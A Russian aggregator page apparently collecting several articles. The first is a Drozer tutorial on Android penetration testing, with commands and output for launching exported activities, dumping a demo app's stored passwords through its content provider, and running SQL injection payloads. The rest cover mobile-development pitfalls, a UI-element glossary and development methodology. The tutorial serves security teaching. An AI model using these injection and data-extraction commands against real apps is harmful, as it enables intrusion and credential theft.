Русский
Русский
English
Статистика
Реклама

Тестирование приложений

Проверяем безопасность приложений с помощью Drozer

28.12.2020 22:14:52 | Автор: admin


Drozer обязательный инструмент в арсенале каждого пентестера. С его помощью можно быстро получить информацию о приложении и его слабых местах.


Drozer предустановлен в Kali Linux и других ОС для белого хакинга.


Возможности Drozer:


  1. Получение информации о пакете
  2. Определение поверхности атаки
  3. Запуск активностей
  4. Чтение от поставщиков содержимого
  5. Взаимодействие со службами
  6. Дополнительные опции

1. Получение информации о пакете


Мы можем получить пакеты, присутствующие на подключенных устройствах, а также информацию о любом установленном пакете.


To get list of all packages present in the device.dz> run app.package.listTo search for a package name from the above listdz> run app.package.list -f <your_string>To get basic info about any selected packagedz> run app.package.info -a <package_name>

2. Определение поверхности атаки


Это та часть, с которой мы начинаем исследовать уязвимости. В первую очередь проверим количество экспортированных:


  • Активностей
  • Поставщиков содержимого
  • Служб

To get list of exported Activities, Broadcast Receivers, Content Providers and Services:dz> run app.package.attacksurface <package_name>  3 activities exported  0 broadcast receivers exported  2 content providers exported  2 services exported is debuggable

3. Запуск активностей


Теперь мы попытаемся запустить экспортированные активности и попробуем обойти аутентификацию. Начинаем с запуска всех экспортируемых активностей.


To get a list activities from a packagedz> run app.activity.info -a <package_name>To launch any selected activitydz> run app.activity.start --component <package_name> <activity_name>

4. Чтение от поставщиков контента


Далее мы попытаемся собрать больше информации о поставщиках контента, экспортируемых приложением.


To get info about the content providers:dz> run app.provider.info -a <package_name>Example Result:Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProviderRead Permission: nullWrite Permission: nullContent Provider: com.mwr.example.sieve.DBContentProviderMultiprocess Allowed: TrueGrant Uri Permissions: FalsePath Permissions:Path: /KeysType: PATTERN_LITERALRead Permission: com.mwr.example.sieve.READ_KEYSWrite Permission: com.mwr.example.sieve.WRITE_KEYS

Вышеупомянутый поставщик содержимого называется DBContentProvider (Database Backed Content Provider). Угадать URI контента очень сложно, однако drozer предоставляет модуль сканера, который объединяет различные способы угадывать путь и определять список доступных URI контента. Мы можем получить URI контента с помощью:


To get the content URIs for the selected packagedz> run scanner.provider.finduris -a <your_package>Example Result:Scanning com.mwr.example.sieve...Unable to Query content://com.mwr.example.sieve.DBContentProvider/  ...Unable to Querycontent://com.mwr.example.sieve.DBContentProvider/KeysAccessible content URIs:  content://com.mwr.example.sieve.DBContentProvider/Keys/  content://com.mwr.example.sieve.DBContentProvider/Passwords  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Теперь мы можем использовать другие модули drozer для извлечения информации из этих URI контента или даже для изменений в базе данных.


To retrieve or modify data using the above content URIs:dz> run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Password/ --vertical   _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded) email: incognitoguy50@gmail.com

Платформа Android поощряет использование баз данных SQLite, которые могут быть уязвимы для SQL-инъекции. Мы можем протестировать SQL-инъекцию, манипулируя полями проекции и выбора.


To attack using SQL injection:dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT 'FROM Passwordsdz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

Android возвращает подробное сообщение об ошибке, показывающее весь запрос, который мы пытались выполнить. Его можно использовать для вывода списка всех таблиц в базе данных.


To attack using SQL injection:dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"| type  | name      | tbl_name         | rootpage | sql           || table | android_metadata | android_metadata| 3 |CREATE TABLE... || table | Passwords        | Passwords       | 4 |CREATE TABLE ...|| table | Key              | Key             | 5 |CREATE TABLE ...|

Поставщик содержимого может предоставить доступ к базовой файловой системе. Это позволяет приложениям обмениваться файлами, где песочница Android могла бы предотвратить это.


To read the files in the file systemdz> run app.provider.read <URI>To download content from the filedz> run app.provider.download <URI>To check for injection vulnerabilitiesdz> run scanner.provider.injection -a <package_name>To check for directory traversal vulnerabilitiesdz> run scanner.provider.traversal -a <package_name>

5. Взаимодействие со службами


Для взаимодействия с экспортированными службами мы можем попросить Drozer предоставить более подробную информацию, используя:


To get details about exported servicesdz> run app.service.info -a <package_name>

6. Дополнительные опции


Для получения дополнительной информации существует несколько замечательных команд:


  • shell.start запустить интерактивную оболочку Linux на устройстве.


  • tools.file.upload / tools.file.download Разрешить копирование файлов на / с устройства Android.


  • tools.setup.busybox / tools.setup.minimalsu Установить на устройство полезные двоичные файлы.



image

Подробнее..

13 подвохов мобильного приложения, о которых лучше знать до старта разработки

30.03.2021 20:09:12 | Автор: admin

Главная сложность в разработке приложения накодить его функционал. Например, сделать редактирование текста для приложения-блокнота. Так я полагал, когда был моложе и наивнее.

С тех пор я запустил три приложения руками разработчиков и ещё одно собственноручно. Не бог весть какой опыт, но иллюзий поубавилось. А реализация функционала видится мне теперь самой простой и прогнозируемой задачей из всех.

Хочу поделиться краткой выжимкой из своего опыта: какие неожиданные сложности вас ждут, если вы делаете мобильное приложение впервые.


О базовых продуктовых рисках говорить не буду. Понятно, что если вы не найдете свой product-market fit, то всё остальное уже не будет иметь значения. Поэтому давайте предположим, что вы придумали перспективную идею приложения, сделали грамотный кастдев, изучили рынок и конкурентов, продумали монетизацию, просчитали юнит-экономику и бизнес-модель, наняли толковую команду. Вроде все схвачено Или нет?

Содержание

1. Выбор фреймворка

Ещё до написания первой строчки кода вы встанете перед судьбоносным выбором: делать приложение нативно под каждую платформу (iOS / Android) или на кроссплатформенном фреймворке?

В первом случае вам придется практически удвоить стоимость разработки и поддержки, во втором попасть в постоянную зависимость от выбранного фреймворка (его ограничений, обновлений, особенностей).

Кроссплатформенный фреймворк тоже поди выбериКроссплатформенный фреймворк тоже поди выбери

От этого выбора будет зависеть многое, даже сложность найма новых разработчиков в проект. А одного правильного решения тут нет везде свои плюсы-минусы.

Что почитать по теме?

2. Устаревание кода

Какую технологию ни возьми всё равно придется вкладывать ресурсы в поддержку актуальности приложения. Речь не о доработках в продукте, а об обновлении самого кода. Причем это даже не рефакторинг, который делает приложение легче, быстрее, надежнее. Нет, это просто подгонка приложения под свежие стандарты.

Обновлять приходится всё: фреймворк, SDK, библиотеки, работу с внешними API, поддержку новых версий iOS и Android.

Свежий примерСвежий пример

Если не обновить код вовремя произойдет одно из двух:

  • Ваш релиз не пройдет ревью, то есть вы не сможете обновлять приложение.

  • С ревью проблем не возникнет, но что-то в приложении перестанет работать.

Кому-то это покажется мелочью ну что там, код иногда нужно переписать.

Подумайте об этом в таком ключе: вам придется оплатить неделю-другую разработки и не получить вообще никакого business value в продукте. Более того, вы вынуждены отложить все действительно важные продуктовые задачи. И делать такое приходится регулярно.

Что почитать по теме?

3. Требования стора

Каждый раз, когда вы хотите обновить приложение, сотрудники сторов будут решать: можно вам это сделать или нет.

Иногда это просто формальность, которая замедляет ваш релиз. Например, в праздники никто ваше приложение проверять не будет, эпруверы отдыхают.

Но ваш релиз могут отклонить, и тогда придется доказывать, что вы не верблюд.

Например, однажды мы полтора месяца вели переговоры с Apple. Переписывались, созванивались, объясняли, как работает приложение, высылали документ с описанием нашей бизнес-модели Всё это время мы не могли зарелизиться, а наши пользователи сидели с непофикшеными багами. По итогу пришлось вырезать из приложения функционал, который делал жизнь пользователей проще. Забавно, что приложение жило с этим функционалом уже пару лет и претензий со стороны App Store не было.

Кроме того, Google и Apple регулярно придумывают новые правила и меняют старые. Сами правила далеко не всегда разумны. Иногда они портят жизнь и вам, и пользователям, да еще и требуют сложного внедрения. А появляются такие правила в основном для того, чтобы никто не мог предъявить сторам никаких претензий.

Что почитать по теме?

4. Видимость в поиске

Не важно, насколько классное приложение вы сделали, если его никто не скачает. Например, когда я впервые зарелизил свое приложение оно появилось в выдаче только через 10 дней, на 143 позиции!

Конечно, если вы делаете ставку только на платный трафик то никаких проблем. Надеюсь, у вас сойдется экономика платного привлечения, удачи, здоровья, держитесь там.

Но если вам нужен органический трафик тогда добро пожаловать в алый океан. Просто настроить ASO будет недостаточно, придется придумывать хитрые схемы продвижения. И конкурировать с приложениями, которые уже продвигаются годами.

К тому же, сторы держат алгоритм ранжирования в секрете и он может меняться со временем.

Что почитать по теме?

5. Мобильная аналитика

Аналтика это всегда непросто.

Google Analytics стремится засемплировать ваши данные, события Amplitude блокируются браузерами пользователей, а в атрибуции каналов сам черт ногу сломит.

Но с мобильной аналитикой всё ещё хуже.

На самом деле узнать можно, но через боль и страданияНа самом деле узнать можно, но через боль и страдания

Дело в том, что все данные рекламных кампаний теряются на этапе, когда пользователь устанавливает приложение.

Например, вы прицепили к своей рекламной ссылке utm-метку. Пользователь по ней кликает, переходит на ваш сайт, а вы четко понимаете, откуда он пришел. Но если по той же ссылке пользователь попадет в стор, на страницу вашего приложения то вы никак эту utm-метку не получите. То есть вы даже не можете отличить органического пользователя от платного!

По той же причине у вас будут проблемы с реферальными ссылками.

Эти проблемы решаемы, но такими мудреными способами, что вам захочется всё бросить и уйти в монастырь web-разработку.

Пример решения: как определить, откуда пришел пользователь

Вкратце, вам нужно будет:

  • Интегрировать сторонний SDK в свое приложение.

  • Вести рекламный трафик не на страницу своего приложения в сторе, а на промежуточную техническую страницу (а уже с неё перенаправлять в стор).

Сторонняя система аналитики будет сопоставлять данные пользователей, установивших приложение и посетивших промежуточную страницу (по косвенным данным, вроде параметров смартфона). По моему опыту, такое сопоставление не дает 100% точности. А ещё вам придется дополнительно платить за каждую установку, тем самым повышая стоимость привлечения клиентов.

Кроме того, если у вас есть и сайт, и приложение аналитика поведения пользователей может оказаться нетривиальной задачей. Особенно, если вам нужно построить сквозной дашборд.

Что почитать по теме?

6. Внешняя аутентификация

До сих пор многие сайты используют email как единственный способ регистрации. Но большинство приложений просто не может себе такого позволить.

Прежде всего, это неудобно для пользователя: вся это возня с подтверждением email, вводом пароля с экранной клавиатуры и так далее. А для некоторых проектов, вроде небольших мобильных игр это вообще смерти подобно. Пользователь, увидев сложную регистрацию, просто удалит такую игру и установит следующую.

Поэтому приходится прикручивать другие способы входа через FB, VK, Apple, Google, Telegram. Но это сторонние сервисы, которые живут своей жизнью. А значит, ваша аутентификация может сломаться только потому, что Facebook что-то изменил на своей стороне. А он изменит, не сомневайтесь.

Самое интересное начинается, когда вы разрабатываете приложение в дополнение к существующему web-сайту. Вам нужно будет как-то связать аккаунты пользователя на сайте и в приложении.

Например, Apple заставит вас сделать вход через Apple ID. Только вот на сайте у вас вряд ли был Apple ID. Как связать эти аккаунты? По email? Ок, вы будете запрашивать еще и email во время регистрации в приложении через Apple ID. Но пользователь мог зарегистрироваться в Apple под другим emailом. Или просто запретил передавать email в настройках.

Тут столько подводных камней, что хватило бы на отдельную статью.

Что почитать по теме?

7. Адаптивный дизайн

Хочется, чтобы приложение смотрелось прилично хотя бы на актуальных смартфонах. Только вот смартфонов этих тысячи, и отличаются они не только разрешением, но и пропорциями, и плотностью пикселей. А есть еще и особенности конкретных моделей, вроде моноброви у iPhone X.

Кроме того, встречается как натуральный Android (например, у Samsung или Google), так и смартфоны, использующие ядро Android + свою интерфейсную обертку (например, Xiaomi). Где-то клавиши навигации аппаратные, где-то виртуальные, а где-то их вообще нет.

Поэтому не думайте, что адаптировать дизайн под весь этот зоопарк простая задача. Для каждого разрешения нужно:

  • растянуть интерфейс и контент под размеры экрана;

  • масштабировать изображения без потери качества;

  • масштабировать элементы управления, чтобы ими комфортно было пользоваться;

  • выдерживать размер шрифтов так, чтобы тексты были читабельны;

  • избежать наслоения элементов;

  • не дать целевым кнопкам уйти за пределы экрана;

  • продумать поведение экранной клавиатуры.

А для некоторых приложений эта работа удвоится, если нужно поддерживать горизонтальную и вертикальную ориентации экрана.

Помимо всех этих радостей, есть ещё и планшеты. Вы можете о них не думать, но владельцы планшетов обязательно подумают о вас.

Типичный владелец планшетаТипичный владелец планшета

Что почитать по теме?

8. Организация тестирования

Тестирование приложения заметно отличается от тестирования сайта. Причем не в лучшую сторону. Поэтому если вы планировали, что ваши web QA быстро просмотрят приложение перед релизом и всё будет хорошо вероятно, вас ждет разочарование.

Вот на что стоит обратить внимание:

  • Разнообразие устройств и разрешений.

  • Большой разброс версий операционных систем.

  • Мобильные механики: мультитач, работа в фоне, аппаратные кнопки, экранная клавиатура.

  • Ресурсы телефона: производительность, расход заряда, утечки памяти.

  • Плохая скорость интернета или его отсутствие.

  • Внезапные прерывания: смс, звонки, разряд аккумулятора.

  • Работа push-уведомлений.

Типичная ситуация, когда баг возникает только на 10% устройств. Вы узнаете об этом только из жалоб пользователей. А у вас такого устройства просто нет. Как тогда воспроизвести баг и понять, что удалось его починить? Можно использовать эмуляторы, но они не эмулируют аппаратную часть. Есть ещё фермы устройств, но они тоже не идеальны например, не позволяют пощупать свой продукт.

На нашей практике был случай, когда пришлось прямо в карантин, всеми правдами и неправдами доставлять конкретную модель Xiaomi нашему разработчику, работавшему на удаленке. Потому что никак иначе не удавалось пофиксить проблемные кейсы в приложении.

К качеству мобильного тестирования особые требования: в отличие от web, вы не сможете быстро пофиксить баг, если QA его пропустили. Придется снова собирать билд, отправлять его на ревью, ждать эпрув.

Что почитать по теме?

9. Поддержка версионности

Вы добавили классные фичи, починили все баги и залили свежую версию своего приложения в стор. Готовитесь открывать шампанское и праздновать обновку. Но, погодите, пользователь ведь сам принимает решение, когда ему обновить ваше приложение на своем смартфоне. Да, у части пользователей включено автообновление, но общую картину это не меняет.

На практике это значит, что одновременно могут существовать десятки версий вашего приложения и все они должны корректно работать с одним и тем же бэкендом.

Ну хорошо, мы можем заставить пользователей принудительно обновлять приложение. Просто блокировать запуск для всех, у кого не последняя версия. Конечно, это будет раздражать пользователей, а любой баг в релизе сразу раскатываться на всю активную аудиторию Ну и ладно, зато не нужно заморачиваться с поддержкой разных версий. Рука снова тянется к шампанскому.

Нет-нет, постойте, вот вам задачка на подумать: если вы релизите бэкенд в понедельник и в тот же день отправляете билд в сторы то в Google Play приложение обновится в среду, а в Apple Store через неделю. То есть у вас невольно получится три разных даты релиза и несовпадение версий фронтенда и бэкенда как это вообще должно работать?

Что почитать по теме?

10. Работа офлайн

Телефоны называют мобильными за их умение путешествовать где попало: кататься в метро, шататься по лесу, летать на самолете и прохлаждаться в уборной.

В таких условиях связь не может оставаться стабильной постоянно. А значит, с вашим приложением приключится беда, если для работы ему нужен интернет.

Что с этим делать? Как минимум выдать ошибку и объяснить пользователю, что происходит. Как максимум сделать офлайн-режим или скачивание данных на устройство (как это сделано у Google Maps или 2GIS, например).

Но офлайн-режим это не только работа без интернета. Это еще и система синхронизации с сервером. В общем, задача не самая тривиальная, придется повозиться.

Что почитать по теме?

11. Push-уведомления

Уведомления самый удобный способ взаимодействовать с мобильными пользователями вне приложения. Вряд ли вам удастся пренебречь таким инструментом.

Но прикрутить механику отправки пушей это только полдела. А вот вторая половина:

  • Как вы будете отправлять пуши? По расписанию, по триггерам или вручную? Не исключено, что вам понадобятся все три способа.

  • Если уведомления отправляются по расписанию нужно учитывать время и часовой пояс получателя. От разбуженного среди ночи пользователя не ждите слов любви.

  • Если пуши отправляются по триггерам реализация самих триггеров может оказаться трудоемкой задачей.

  • Что делать, если несколько триггеров сработают одновременно? Или если триггерный пуш совпал по времени с пушем по расписанию? Пользователь, получивший сразу охапку пушей, запросто может заблокировать все уведомления от вашего приложения.

  • Вероятно, вам понадобится отдельная логика отправки пушей: очередь, приоритеты, ограничения.

Все вышесказанное будет не особо эффективно, если только 10% пользователей согласятся получать уведомления. Поэтому отдельный квест: как грамотно запросить разрешение на отправку. Ведь если пользователь нажмет Запретить исправить это почти невозможно.

Что почитать по теме?

12. Перевод и локализация

Если ваше приложение можно скачать больше чем в одной стране почти наверняка вы будете получать низкие оценки за отсутствие локализации. И даже в рамках одной страны такое случается. Остается или смириться, или делать локализацию.

Локализация почти всегда выглядит простой задачей, и почти всегда это не так.

Даже простой перевод интерфейса и контента это не только работа по переводу, но и доработка архитектуры базы данных, чтобы обеспечить мультиязычность.

Стоит ли говорить, что перевод это только часть локализации?

Что почитать по теме?

13. Защита приложения

Если вы делаете приложение попроще, чем Telegram / Monobank / VK то вряд ли вопрос безопасности не дает вам уснуть. Тем не менее, по моему опыту, даже маленькие приложения ломают.

Как минимум, если у вас есть платный контент и немного популярности взломанная версия вашего приложения наверняка появится на соответствующих сайтах. Любой желающий сможет её скачать и пользоваться бесплатно. Но это маргинальный способ, большинство пользователей не станет так заморачиваться, поэтому я бы об этом сильно не переживал.

Более наглые ребята могут ломать ваше приложение прямо в сторе. Говорят, что особенно легко это делать в Google Play. Есть разные способы, расскажу, как было у нас.

Между покупкой в приложении и фактическим подтверждением платежа от стора есть окно, примерно от часа до суток. Конечно, если пользователь сделал оплату мы не можем заставлять его ждать сутки, прежде чем дать доступ к контенту. Поэтому мы выдаем доступ сразу.

С помощью специализированных программ можно подменить данные, которые приложение отправляет на сервер. В том числе, можно изобразить покупку. Заметили мы это не сразу, а только когда обнаружили странные покупки и сделали сверку. Пришлось дописать код, который автоматически банит мошенников.

Ну и отдельная тема хранение пользовательских данных. Не зря мы постоянно слышим о скандалах с их утечкой. Думаю, небольшие приложения вне зоны риска. Но какие-то минимальные правила вроде не хранить данные пользователей в открытом виде лучше соблюдать.

В ожидании вашего релизаВ ожидании вашего релиза

В целом, я бы предложил включить в план разработки приложения хотя бы небольшой процент работы над его безопасностью. И сделать регулярную автоматическую сверку доступов пользователей с их оплатами и возвратами.

Что почитать по теме?

That's all Folks!

Мне не хотелось бы, чтобы статья демотивировала тех, кто собрался делать свое первое приложение. Её задача помочь трезво оценить объем предстоящей работы и показать неочевидные проектные риски. Иногда именно неверная оценка сложности проекта губит хорошие продукты.

В любом случае, все перечисленные вопросы решаемы. Половина из них может вовсе вас не коснуться. Но бывает и наоборот, когда несколько рисков выстреливают одновременно и усугубляют друг друга. Поэтому лучше учесть их ещё на ранних этапах разработки.

Как работает синергия рисков

Например, вы заметили, что доход приложения падает.

Начали разбираться оказалось, что приложение просело в поиске и получает меньше установок. Копнули глубже и выяснили, что заметно вырос отвал пользователей после установки, потому что вылез серьезный баг авторизации. Стор видит отвал и понижает позиции приложения.

Окей, вы срочно чините баг, отправляете билд на ревью и его отклоняют.

Выясняете в чем дело оказывается, приложение не соответствует новым правилам, теперь оно должно поддерживать 128-разрядные процессоры. Придется дописать код и обновить фреймворк до последней версии. Конечно, вы тут же садитесь переписывать код, но это займет еще неделю.

История затягивается, и всё это время пользователи отваливаются, доходы падают, приложение теряет позиции.

По отдельности эти риски не представляли бы такой угрозы.


P.S. Я в общих чертах обозначил, на что стоит обратить внимание. Но чтобы разобраться в любой из этих тем лучше почитать специализированные статьи. А если вы помните хабростатью, которая хорошо раскрывает любой из перечисленных вопросов поделитесь ссылкой и я добавлю её в пост.

Подробнее..

UI элементы и жесты в мобильных приложениях

05.02.2021 18:14:24 | Автор: admin


Хабр, привет! Вы часто задумывались, обнаружив баг в мобильном приложении и заводя его в баг-трекер, как правильно назвать ту или иную часть интерфейса или действие, которые привели к ошибке? Или читаешь описание задачи и задумываешься, как должен выглядеть какой-то экран и что должно появиться при тапе на кнопку. А может, вы описываете продуктовые задачи и не всегда чувствуете себя на одной волне с дизайнерами и разработчиками, которые иногда начинают говорить на эльфийском? Чтобы исключить недопонимание, неясности и вопросы, мы решили создать перечень наиболее распространенных элементов и жестов и показать их на примере Юлы.

А вы знали, как называется та самая выезжающая снизу экрана шторка или несколько (три и более) тапов подряд? Ответы на эти вопросы и названия многих других элементов читайте в нашей статье.

Splashscreen изображение, заставка, которую пользователь видит во время загрузки приложения.



Заглушка название говорит само за себя: это элемент, сигнализирующий о какой-то проблеме(отсутствует интернет-соединение, сервер временно недоступен, ведутся технические работы, по вашему запросу ничего не найдено и т.п.). Обычно заглушка отображается там, где должен быть контент, но по каким-то причинам он не был получен.



Webview компонент, который позволяет отобразить страницы веб-сайта в приложении. Например, webview Как получить бонусы:



Popup всплывающее окно, которое появляется внезапно, без запроса пользователя, и отображается поверх экрана, на котором находился пользователь. Не стоит путать с диалоговым окном, которое появляется при совершении пользователем какого-либо действия.



Action menu кнопка, которая представляет собой три точки, и при нажатии (тапе) на которую открывается меню с несколькими actionами.



Tab вкладка; обычно переключение между табами осуществляется нажатием (тапом) на нужный таб или смахивание (свайпом) вправо/влево.



Toast всплывающее уведомление, не блокирующее работоспособность приложения и плавно исчезающее спустя несколько секунд. Может сообщать о какой-то ошибке, о совершении какого-то действия (например, публикация каких-то изменений). Обычно тоаст содержит текстовую информацию, но может содержать и картинку.



Progress Bar индикатор степени выполнения какого-либо действия (например, показывает оставшееся время работы активности продвижение товара).



TabBar панель вкладок в нижней части экрана, позволяющая быстро переключаться между разделами приложения.



AppBar (Android) / NavBar (iOS) панель инструментов в верхней части экрана, содержащая кнопки управления текущим экраном.



Alert оповещение, которое передает важную информацию, связанную с состоянием приложения или устройства, и часто запрашивает обратную связь. Алерт состоит из заголовка, необязательного сообщения, одной или нескольких кнопок.



Toggle switches/Тумблер переключатель между двумя состояниями вкл/выкл.



Bottomsheet информационная панель, появляющаяся снизу экрана поверх текущего состояния при совершении какого-нибудь действия. Может содержать информацию, а также какие-либо действия.



Bubble овальный элемент выбора какого-либо параметра, чаще всего используется в фильтрах.



Строка поиска поле ввода для поискового запроса.

Placeholder текстовая заглушка в поле ввода, подсказывающая, что можно туда ввести (на скринах текст Поиск объявлений).



Page Controls элемент управления, который отображает текущее положение экрана в плоском списке страниц (на скринах точки над кнопкой, отображающие текущее положение через изменение цвета).



Counter точка или число, обозначающее количество непросмотренных уведомлений (например, количество непрочитанных сообщений).



Overlay перекрывающий слой, который позволяет затемнить или осветлить элемент, на который он был наложен.



Tooltip всплывающее сообщение, которое завязано на элемент и обучает использованию той или иной части приложения.



Onboarding обучающая функциональность в приложении, появляющаяся при первом запуске для ознакомления пользователя с продуктом.



Suggest List выпадающий список, состоящий из подсказок; появляется при вводе букв, слов или символов в поле ввода. Или список ранее совершенных поисковых запросов. Отдельный пункт из этого списка Suggest.



Checkbox элемент интерфейса, позволяющий выбрать любое количество опций (ни одной, одну или несколько).



Status Bar строка состояния, содержащая общую информацию об устройстве: время, дату, сеть, уровень заряда и т.п.



Slider горизонтальная шкала с элементом управления, по которой скольжением пальца можно управлять состоянием или значением характеристики (в нашем случае расстоянием от указанного адреса):



Жесты


Тап касание, нажатие на сенсорный экран. Чтобы открыть любое приложение на смартфоне мы тапаем на его иконку.

Double tap два коротких касания, двойной тап.

Мультитап три и более тапов подряд по одному элементу.

Лонгтап нажатие с удержанием на несколько секунд. Позволяет открыть дополнительные опции там, где они есть.

Скролл вертикальное пролистывание содержимого скольжением пальца по экрану сверху вниз или снизу вверх.

Свайп смахивание вниз, вверх, вправо или влево. Похоже на скролл, только с легким, коротким касанием.

Pull to refresh (p2r) дословный перевод: потяни для обновления.

Drag&Drop изменение положения элементов интерфейса с помощью перетягивания: как говорит нам название тащи и бросай!

Pinch жест, используемый для изменения масштаба картинки (увеличения или уменьшения): для уменьшения два пальца касаются экрана и сводятся вместе, для увеличения разводятся в стороны.

Вот и весь наш список терминов, описывающих элементы интерфейса и жесты. А чем его дополнили бы вы?
Подробнее..

Нужна ли новая методология разработки?

03.02.2021 18:19:31 | Автор: admin

Если вы планируете создать свою софтверную компанию, то вы задумываетесь как построить работу людей, как выбрать методологию для работы. Но если приглядеться к известным методологиям, то есть к ним некоторое недоверие, особенно если вы тратите на компанию собственные деньги

Я взял на себя наглость и попробовал объединить полезные вещи от известных методологий, а также добавил своего опыта и советы друзей. В любом случае, оставлю это здесь, может быть кому-то это принесет пользу.

Предпосылки к созданию методологии

Рассуждения о современных методологиях и человеческой природе

У современных методологий, в порядке их возникновения, есть множество недостатков:

  • Функциональная структура стремится создавать больше отделов, так как нужно каждому потенциальному руководителю дать людей в подчинение и дополнительные обязанности. Это приводит к усложнению структуры управления, что ведет к повышению значимости этих новых руководителей и падению общей эффективности

  • Проектная структура ведет к зависимости группы людей от одного проектного менеджера, который в 95% случаев из 100% некомпетентен. Нацеленность на короткие проекты, приводит к удорожанию продуктов с течением времени

  • В матричную структуру (все три вида), по определению, заложен конфликт, что изначально неэффективно

  • В проектной и матричной структуре также наблюдается большое недооценивание тестирования

  • В SCRUM (agile) методологии зачастую есть Product Owner, который стремится стать проектным менеджером, для чего ему могут отдать в подчинение аналитика, чтобы повысить его значимость. Ровно также, если есть амбициозный или конфликтный сотрудник команды, то это все разрушает

  • Низкая роль аналитики и тестирования в agile также не идет на пользу продуктам компании

  • В agile методологиях практически отсутствует возможность заключать контракты по фиксированной цене при старте проекта

Рассуждение о человеческой природе. Если задуматься, то людей можно разместить на шкале желания работать следующим образом:

  • Хотят работать и мотивированы

  • Хотят работать без видимой причины, просто потому, что должны

  • Хотят работать, потому что считают что получают за это деньги

  • Не хотят работать, но боятся осуждения и наказания

  • Не хотят работать и работают меньше, но скрывают это

  • Не хотят работать и работают сильно меньше, скрывают это

  • Не работают, сидят тихо, боятся, что их поймают

  • Не работают и открыто это декларируют, осуждают работающих сотрудников

Первые лидерские методологии направлены на то, чтобы заставить немотивированных и ленивых сотрудников работать. Agile методологии направлены на поощрение работоспособных и мотивированных сотрудников. А что вам делать, если у вас появился весь спектр сотрудников?

Что мы хотим получить:

  1. Методологию, которая ориентирована не на идеальных сотрудников, а на всех подряд. К сожалению, квалифицированных людей мало. Вы все равно наймете неквалифицированных сотрудников, у вас выхода нет

  2. Методологию, в которой максимально минимизирована роль руководства настолько насколько это вообще возможно. Где есть защитные механизмы от появления руководителей там, где их быть не должно

  3. Методологию, позволяющую быстро выпускать качественное программное обеспечение

  4. Методологию, которая в отсутствии большого количества менеджеров дает полный контроль над проектами сотрудникам, генеральному директору или инвесторам, желательно, в любое время и без необходимости кого-то опрашивать

  5. Методологию, в которой можно заключать договоры с фиксированной ценой

  6. Не универсальную методологию, которую можно применять на полях марса, на северном полюсе и в лесах латинской Америки, а конкретную методологию для разработки именно комплекса программного обеспечения

  7. Методологию, которая включается в себя последние современные методологии и технологии, например, DevOps, автоматизированное построение любой отчетности по проектам и продуктам и т.п.

  8. Методологию, в которой, по аналогии с agile методологиями, усилия направлены на похвалу и мотивацию команды

  9. Методологию, которая защищается ядовитых сотрудников, оставляя в командах только сотрудников, которые готовы работать

  10. Методологию с высоким взаимодействием сотрудников различных ролей

  11. Методологию, в которой у команды есть лидер, с высокими soft skills и эмпатией,, которому можно пожаловаться или у которого можно отпроситься, который защищает и мотивирует команду

  12. Методологию, в которой директорский состав работает и подотчетен компании и где вы не задумываетесь, что если убрать всех менеджеров, то в компании ничего не изменится

  13. Методологию, где правильно понимается роль аналитики и тестирования

Зачем нужна аналитика?

Аналитика нужна, чтобы понять ЧТО вы хотите сделать и КАК с точки зрения бизнеса.

Важно понимать, что вы не можете получить этот документ посмотрев в код или по итогу проверив работу приложения. Там вы получите ответы как приложение работает сейчас, а не как оно должно работать.

Если у вас нет аналитики, то у меня к вам вопросы:

  1. Ваше приложение решает какую-то потребность бизнеса? Уверены ли вы, что кнопка, которую ваша команда разработки делала несколько месяцев, будет когда-либо нажата пользователями?

  2. Как вы понимаете, что нужно в приложении проверить, перед передачей приложения пользователям? А если пользователь заполнит форму немного с другими данными и нажмет вон на ту кнопку, приложение будет работать? Точно?

  3. Вашему проекту более 2 лет, я хотел бы узнать обо всех функциях, которые есть в вашем проекте, можете рассказать?

  4. Сколько должно пройти времени и проведено встреч, чтобы новый сотрудник узнал ваш проект?

  5. Вы хотите сотрудничать с новым крупным заказчиком, сколько сотрудников и с каким опытом вы должны послать к заказчику, чтобы рассказать про проект?

  6. Если случится кризис, который заденет вашу компанию, и часть опытных сотрудников уйдет, за сколько времени вы восстановите экспертизу по проекту?

  7. Насколько большой у вас отдел техподдержки? Насколько много времени ваши разработчики тратят на поддержку проекта, вместо разработки нового функционала? Как вы доказываете, что эта форма должна работать вот так, а в этом отчете информация строится именно по этому алгоритму и это не замечание, а пожелание по доработке?

Зачем нужно тестирование?

  1. Unit тестирование (внутреннее качество)

Основная цель - это пройти по максимальному количеству ветвлений кода при разделении кода на модули. Косвенно достигается улучшенное понимание кода за счет разделения на модули, на самом деле это просто снижает когнитивную нагрузку на разработчика (количество вычислений, которые необходимо произвести в голове при решении любой задачи). Также косвенно мы получаем ослабление связанности между модулями, то есть если вы возьмете отдельный модуль, то вы, с высокой долей вероятности, сможете его использовать в другом проекте или заменить на другой модуль.

Как видно из описания, это тестирование делается разработчиками.

  1. Интеграционное тестирование (внутреннее качество)

Основная цель - это вызвать внешнее API так, чтобы вызов прошел через все модули начиная от пользовательского интерфейса (если есть) и заканчивая записью/чтением из БД, с правами доступа как на продуктовой среде. Может выявлять ошибки на стыке модулей, например, ошибки передачи данных с backend кода и ожидаемого набора данных в БД. Позволяет отследить ошибки в настройке routing, ошибки при использовании IoC-контейнеров и т.п. Сильно ускоряют разработку, минимизируя ручные проверки разработчиком

Как видно из описания, это тестирование делается разработчиками.

  1. Функциональное тестирование (внешнее качество)

Основная цель - это убедиться, что новый разрабатываемый функционал соответствует бизнес требованиям. Тут важно понимать, что для этого у вас должны быть бизнес требования и вы не проверяете качество кода, но при этом вы проверяете и гарантируете, что вы разработали именно то, что требовалось с точки зрения бизнеса.

Важно понимать, что принцип этого тестирования другой. Например, вот один из возможных алгоритмов:

  • На основе требований вы создаете классы эквивалентности (Equivalence Classes)

  • На основе классов эквивалентности вы определяете количество и сценарий тесте кейсов (test cases)

  • Далее вручную (уже реже) или автоматизированно проводится проверка в уже реализованного функционала, в соответствии с тест кейсами

